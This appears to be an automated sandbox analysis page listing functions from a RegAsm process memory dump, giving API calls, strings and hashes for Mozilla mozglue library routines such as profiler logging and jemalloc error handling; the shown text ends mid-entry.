Function 6C9AB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9AB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AB5F4
__Init_thread_footer.LIBCMT ref: 6C9AB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9AB61F
std::_Facet_Register.LIBCPMT ref: 6C9AB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB655

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction ID: 47eaee494555714c75d387499752c85f94c2162a260e6d42b396443807413955
Opcode Fuzzy Hash: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction Fuzzy Hash: A031B379B04204DBCB00DFA9C8989AFB7B5FFDA328B250519D90297780DB34E906CB95

Function 6C981D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C981D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D4C
GetCurrentThreadId.KERNEL32 ref: 6C981DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C981DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C981DDA

Part of subcall function 6C981EF0: GetCurrentThreadId.KERNEL32 ref: 6C981F03
Part of subcall function 6C981EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C981DF2,00000000,00000000), ref: 6C981F0C
Part of subcall function 6C981EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C981F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C981DF4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction ID: d54349d0120fd18efee904ce0231d33505ef5a90f3ef9812b3b9812b454fda2a
Opcode Fuzzy Hash: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction Fuzzy Hash: 4F4167B5205700AFCB10CF29C488B56BBF9FB99718F20446EE95A87B81CB71E814CB94

Function 6C9784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785AC

Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97767F
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C977693
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785B2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction ID: e7058d4594062d7693dddc2ecffd31141f83933767761a6289a36119ab0f2e6d
Opcode Fuzzy Hash: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction Fuzzy Hash: C9217F743056019FDB28DB24C888A5BB7B9AF8430CF24482DE55BD3B41DB31F958CB69

Function 6C941640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C941699
VerSetConditionMask.NTDLL ref: 6C9416CB
VerSetConditionMask.NTDLL ref: 6C9416D7
VerSetConditionMask.NTDLL ref: 6C9416DE
VerSetConditionMask.NTDLL ref: 6C9416E5
VerSetConditionMask.NTDLL ref: 6C9416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9416F9

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction ID: e38fceeb061e02a366b1dab3ffe844c708dd6380c22336468ce64b74319ef0bc
Opcode Fuzzy Hash: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction Fuzzy Hash: 1021D2B07442087BFB116A64CC89FBB737CEFD6B04F504568F6059B6C0C678DD5486A1

Function 6C97F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction ID: 3b2bc4cc71ebac4f0f121473d84fa36a522d8a3afc62d9164307279babc95345
Opcode Fuzzy Hash: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction Fuzzy Hash: EA11C479206204BBCB10AF29C8889A6B77DFF9675CB200015EA0593F41CB71EC21CBB4

Function 6C940EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C96D9F0,00000000), ref: 6C940F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C940F3C
__Init_thread_footer.LIBCMT ref: 6C940F50
FreeLibrary.KERNEL32(?,6C96D9F0,00000000), ref: 6C940F86

Strings

CoInitializeEx, xrefs: 6C940F36
combase.dll, xrefs: 6C940F18

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction ID: 8a238491c7a14aacdb322a4c540948e69bb8e711760af6aa058295bce47c7c24
Opcode Fuzzy Hash: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction Fuzzy Hash: A511CA7C709240BBDF00CFA9CA48A973778EB96329F204165FD0592780D7B0E411CA69

Function 6C97F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F561

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F585
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C97F3A8
[I %d/%d] profiler_resume, xrefs: 6C97F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C97F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C97F499

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction ID: 7f971d7a2530eb0fdc676c2bcd9c834f4433f2b773b3a8677f1becf43becf5c0
Opcode Fuzzy Hash: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction Fuzzy Hash: 70F09079204204BFDB106B68D88C96BB77DEB9625DF200015FA0593741DB75C80087B8

Function 6C97F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction ID: 6ed7655d022b86080078032be5ccc5da2c6057c7e8f7ccc679ec97f5f8bbe965
Opcode Fuzzy Hash: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction Fuzzy Hash: 1AF05479305208BFDB106B69888C95BB77DFFD625DF200015FA0593791CB759C0587B9

Function 6C940E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C940DF8), ref: 6C940E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C940EA1
__Init_thread_footer.LIBCMT ref: 6C940EB5
FreeLibrary.KERNEL32 ref: 6C940EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C940E9B
kernel32.dll, xrefs: 6C940E7D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction ID: 36d07f913b5711776ab16abfd07912b998e12545a35804e808b474e846dd49e3
Opcode Fuzzy Hash: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction Fuzzy Hash: 4601E47C608281ABEB00CFA8D994A4337B9E796B1DF3055A9A90192B80DB74E4148A5A

Function 6C9705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C96CFAE,?,?,?,6C9331A7), ref: 6C9705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C96CFAE,?,?,?,6C9331A7), ref: 6C970616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9331A7), ref: 6C97061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9331A7), ref: 6C970627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C97061B, 6C970625
<jemalloc>, xrefs: 6C9705FA, 6C97060F

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction ID: f7b878710633722550ca183065095e9361bb82facc40488890c60da42b861acd
Opcode Fuzzy Hash: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction Fuzzy Hash: 54E08CE2A0101037F6142296AC86DBB761CDBD6134F090039FD0D86701E94BED1A51F6

Function 6C9405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction ID: 73a8f098127d232a9f21d92a1a6c37f1d3d3a4972731a0e0cf7dec800167419c
Opcode Fuzzy Hash: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction Fuzzy Hash: 54A159B4A04705CFDB24CF29C984A9AFBF5BF58304F5486AED44A97B40E730A955CF90

Function 6C9914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9914E2
GetCurrentThreadId.KERNEL32 ref: 6C991546
InitializeConditionVariable.KERNEL32(?), ref: 6C9915BA
free.MOZGLUE(?), ref: 6C9916B4

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction ID: bdcef36b7a7bfdbae18831c1f2d1a4f3153a1b9676ba1882c0bbff8f618d0901
Opcode Fuzzy Hash: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction Fuzzy Hash: 25610176A057009BDB11CF20C880BDEB7B9BF9A308F49891CED8A57711DB31E958CB91

Function 6C98DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C98D38A,?), ref: 6C98DC6F
free.MOZGLUE(?,?,?,?,?,6C98D38A,?), ref: 6C98DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C98D38A,?), ref: 6C98DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C98D38A,?), ref: 6C98DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C98D38A,?), ref: 6C98DD4A

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction ID: 2ce19ddb2dd9f54414bc5e9da964c65ae58d7b9f1e3280b6a2589f3f2b16fd84
Opcode Fuzzy Hash: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction Fuzzy Hash: EB419FB6A01606DFCB40CF99C88099EB7F5FF98304B65486AD905A7B11D771FC00CB90

Function 6C976590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9767C8

Part of subcall function 6C984290: memcpy.VCRUNTIME140(?,?,6C992003,6C990AD9,?,6C990AD9,00000000,?,6C990AD9,?,00000004,?,6C991A62,?,6C992003,?), ref: 6C9842C4

Strings

data, xrefs: 6C976593

Memory Dump Source

